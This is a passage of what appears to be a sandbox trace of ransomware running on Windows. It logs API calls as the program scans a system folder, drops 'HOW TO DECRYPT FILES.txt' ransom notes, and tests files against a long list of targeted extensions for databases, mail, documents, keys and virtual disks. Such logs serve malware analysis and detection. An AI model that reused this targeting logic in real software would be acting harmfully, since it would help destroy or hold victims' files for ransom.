returned 0 [0100.548] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.548] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.548] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.548] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabd651, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x81c8880, ftLastAccessTime.dwHighDateTime=0x1ca0421, ftLastWriteTime.dwLowDateTime=0x29553385, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x67000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCEx.dll", cAlternateFileName="")) returned 1 [0100.548] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.548] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MMCEx.dll") returned -1 [0100.548] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MMCEx.dll") returned -1 [0100.548] lstrcmpiA (lpString1="", lpString2="MMCEx.dll") returned -1 [0100.548] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.548] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\" [0100.549] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\") returned="" [0100.549] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.549] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\mmcex\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.549] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\mmcex\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.550] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.551] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.551] CloseHandle (hObject=0x90) returned 1 [0100.551] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\", lpString2="MMCEx.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll" [0100.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.ems") returned 0 [0100.552] lstrlenA (lpString="*.ems") returned 5 [0100.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.db") returned 0 [0100.552] lstrlenA (lpString="*.db") returned 4 [0100.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.dbf") returned 0 [0100.552] lstrlenA (lpString="*.dbf") returned 5 [0100.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.myox") returned 0 [0100.552] lstrlenA (lpString="*.myox") returned 6 [0100.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.myo") returned 0 [0100.552] lstrlenA (lpString="*.myo") returned 5 [0100.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.qbw") returned 0 [0100.552] lstrlenA (lpString="*.qbw") returned 5 [0100.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.qbb") returned 0 [0100.552] lstrlenA (lpString="*.qbb") returned 5 [0100.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.qbm") returned 0 [0100.552] lstrlenA (lpString="*.qbm") returned 5 [0100.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.qbo") returned 0 [0100.552] lstrlenA (lpString="*.qbo") returned 5 [0100.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.qbx") returned 0 [0100.552] lstrlenA (lpString="*.qbx") returned 5 [0100.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.qba") returned 0 [0100.552] lstrlenA (lpString="*.qba") returned 5 [0100.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.qby") returned 0 [0100.552] lstrlenA (lpString="*.qby") returned 5 [0100.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.qbj") returned 0 [0100.553] lstrlenA (lpString="*.qbj") returned 5 [0100.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.ofx") returned 0 [0100.553] lstrlenA (lpString="*.ofx") returned 5 [0100.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.qif") returned 0 [0100.553] lstrlenA (lpString="*.qif") returned 5 [0100.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.mye") returned 0 [0100.553] lstrlenA (lpString="*.mye") returned 5 [0100.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.mbox") returned 0 [0100.553] lstrlenA (lpString="*.mbox") returned 6 [0100.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.eml") returned 0 [0100.553] lstrlenA (lpString="*.eml") returned 5 [0100.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.pst") returned 0 [0100.553] lstrlenA (lpString="*.pst") returned 5 [0100.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.ost") returned 0 [0100.553] lstrlenA (lpString="*.ost") returned 5 [0100.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.idx") returned 0 [0100.553] lstrlenA (lpString="*.idx") returned 5 [0100.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.dbx") returned 0 [0100.553] lstrlenA (lpString="*.dbx") returned 5 [0100.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.sql") returned 0 [0100.554] lstrlenA (lpString="*.sql") returned 5 [0100.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.mdb") returned 0 [0100.554] lstrlenA (lpString="*.mdb") returned 5 [0100.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.fdb") returned 0 [0100.554] lstrlenA (lpString="*.fdb") returned 5 [0100.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.wab") returned 0 [0100.554] lstrlenA (lpString="*.wab") returned 5 [0100.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.dat") returned 0 [0100.554] lstrlenA (lpString="*.dat") returned 5 [0100.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.txt") returned 0 [0100.554] lstrlenA (lpString="*.txt") returned 5 [0100.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.jpeg") returned 0 [0100.554] lstrlenA (lpString="*.jpeg") returned 6 [0100.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.jpg") returned 0 [0100.554] lstrlenA (lpString="*.jpg") returned 5 [0100.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.png") returned 0 [0100.554] lstrlenA (lpString="*.png") returned 5 [0100.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.php") returned 0 [0100.554] lstrlenA (lpString="*.php") returned 5 [0100.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.cs") returned 0 [0100.554] lstrlenA (lpString="*.cs") returned 4 [0100.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.cpp") returned 0 [0100.555] lstrlenA (lpString="*.cpp") returned 5 [0100.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.rar") returned 0 [0100.555] lstrlenA (lpString="*.rar") returned 5 [0100.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.zip") returned 0 [0100.555] lstrlenA (lpString="*.zip") returned 5 [0100.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.html") returned 0 [0100.555] lstrlenA (lpString="*.html") returned 6 [0100.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.htm") returned 0 [0100.555] lstrlenA (lpString="*.htm") returned 5 [0100.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.xlsx") returned 0 [0100.555] lstrlenA (lpString="*.xlsx") returned 6 [0100.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.xls") returned 0 [0100.555] lstrlenA (lpString="*.xls") returned 5 [0100.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.mp4") returned 0 [0100.555] lstrlenA (lpString="*.mp4") returned 5 [0100.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.ppt") returned 0 [0100.555] lstrlenA (lpString="*.ppt") returned 5 [0100.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.pptx") returned 0 [0100.555] lstrlenA (lpString="*.pptx") returned 6 [0100.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.doc") returned 0 [0100.555] lstrlenA (lpString="*.doc") returned 5 [0100.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.dot") returned 0 [0100.556] lstrlenA (lpString="*.dot") returned 5 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.docx") returned 0 [0100.556] lstrlenA (lpString="*.docx") returned 6 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.7z") returned 0 [0100.556] lstrlenA (lpString="*.7z") returned 4 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.tar") returned 0 [0100.556] lstrlenA (lpString="*.tar") returned 5 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.bz2") returned 0 [0100.556] lstrlenA (lpString="*.bz2") returned 5 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.gz") returned 0 [0100.556] lstrlenA (lpString="*.gz") returned 4 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.mkv") returned 0 [0100.556] lstrlenA (lpString="*.mkv") returned 5 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.eml") returned 0 [0100.556] lstrlenA (lpString="*.eml") returned 5 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.msg") returned 0 [0100.556] lstrlenA (lpString="*.msg") returned 5 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.edb") returned 0 [0100.556] lstrlenA (lpString="*.edb") returned 5 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.accdb") returned 0 [0100.556] lstrlenA (lpString="*.accdb") returned 7 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.odb") returned 0 [0100.556] lstrlenA (lpString="*.odb") returned 5 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.java") returned 0 [0100.556] lstrlenA (lpString="*.java") returned 6 [0100.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.asm") returned 0 [0100.557] lstrlenA (lpString="*.asm") returned 5 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.pfx") returned 0 [0100.557] lstrlenA (lpString="*.pfx") returned 5 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.pem") returned 0 [0100.557] lstrlenA (lpString="*.pem") returned 5 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.p12") returned 0 [0100.557] lstrlenA (lpString="*.p12") returned 5 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.gpg") returned 0 [0100.557] lstrlenA (lpString="*.gpg") returned 5 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.vsd") returned 0 [0100.557] lstrlenA (lpString="*.vsd") returned 5 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.odg") returned 0 [0100.557] lstrlenA (lpString="*.odg") returned 5 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.raw") returned 0 [0100.557] lstrlenA (lpString="*.raw") returned 5 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.nef") returned 0 [0100.557] lstrlenA (lpString="*.nef") returned 5 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.svg") returned 0 [0100.557] lstrlenA (lpString="*.svg") returned 5 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.psd") returned 0 [0100.557] lstrlenA (lpString="*.psd") returned 5 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.vmx") returned 0 [0100.557] lstrlenA (lpString="*.vmx") returned 5 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.vmdk") returned 0 [0100.557] lstrlenA (lpString="*.vmdk") returned 6 [0100.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.vdi") returned 0 [0100.558] lstrlenA (lpString="*.vdi") returned 5 [0100.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.lay6") returned 0 [0100.558] lstrlenA (lpString="*.lay6") returned 6 [0100.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.mpeg") returned 0 [0100.558] lstrlenA (lpString="*.mpeg") returned 6 [0100.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.djvu") returned 0 [0100.558] lstrlenA (lpString="*.djvu") returned 6 [0100.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.tiff") returned 0 [0100.558] lstrlenA (lpString="*.tiff") returned 6 [0100.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.backup") returned 0 [0100.558] lstrlenA (lpString="*.backup") returned 8 [0100.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.pdf") returned 0 [0100.558] lstrlenA (lpString="*.pdf") returned 5 [0100.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.cert") returned 0 [0100.558] lstrlenA (lpString="*.cert") returned 6 [0100.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.docm") returned 0 [0100.558] lstrlenA (lpString="*.docm") returned 6 [0100.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.xlsm") returned 0 [0100.558] lstrlenA (lpString="*.xlsm") returned 6 [0100.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.dwg") returned 0 [0100.558] lstrlenA (lpString="*.dwg") returned 5 [0100.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.nd") returned 0 [0100.558] lstrlenA (lpString="*.nd") returned 4 [0100.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.tlg") returned 0 [0100.558] lstrlenA (lpString="*.tlg") returned 5 [0100.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.lgb") returned 0 [0100.559] lstrlenA (lpString="*.lgb") returned 5 [0100.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.mov") returned 0 [0100.559] lstrlenA (lpString="*.mov") returned 5 [0100.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.xdw") returned 0 [0100.559] lstrlenA (lpString="*.xdw") returned 5 [0100.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.ods") returned 0 [0100.559] lstrlenA (lpString="*.ods") returned 5 [0100.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.wav") returned 0 [0100.559] lstrlenA (lpString="*.wav") returned 5 [0100.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.mp3") returned 0 [0100.559] lstrlenA (lpString="*.mp3") returned 5 [0100.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.aiff") returned 0 [0100.559] lstrlenA (lpString="*.aiff") returned 6 [0100.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.flac") returned 0 [0100.559] lstrlenA (lpString="*.flac") returned 6 [0100.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.m4a") returned 0 [0100.559] lstrlenA (lpString="*.m4a") returned 5 [0100.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\MMCEx.dll", pszSpec="*.csv") returned 0 [0100.559] lstrlenA (lpString="*.csv") returned 5 [0100.559] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabd651, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x81c8880, ftLastAccessTime.dwHighDateTime=0x1ca0421, ftLastWriteTime.dwLowDateTime=0x29553385, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x67000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCEx.dll", cAlternateFileName="")) returned 0 [0100.559] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.559] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 0 [0100.560] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.560] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, 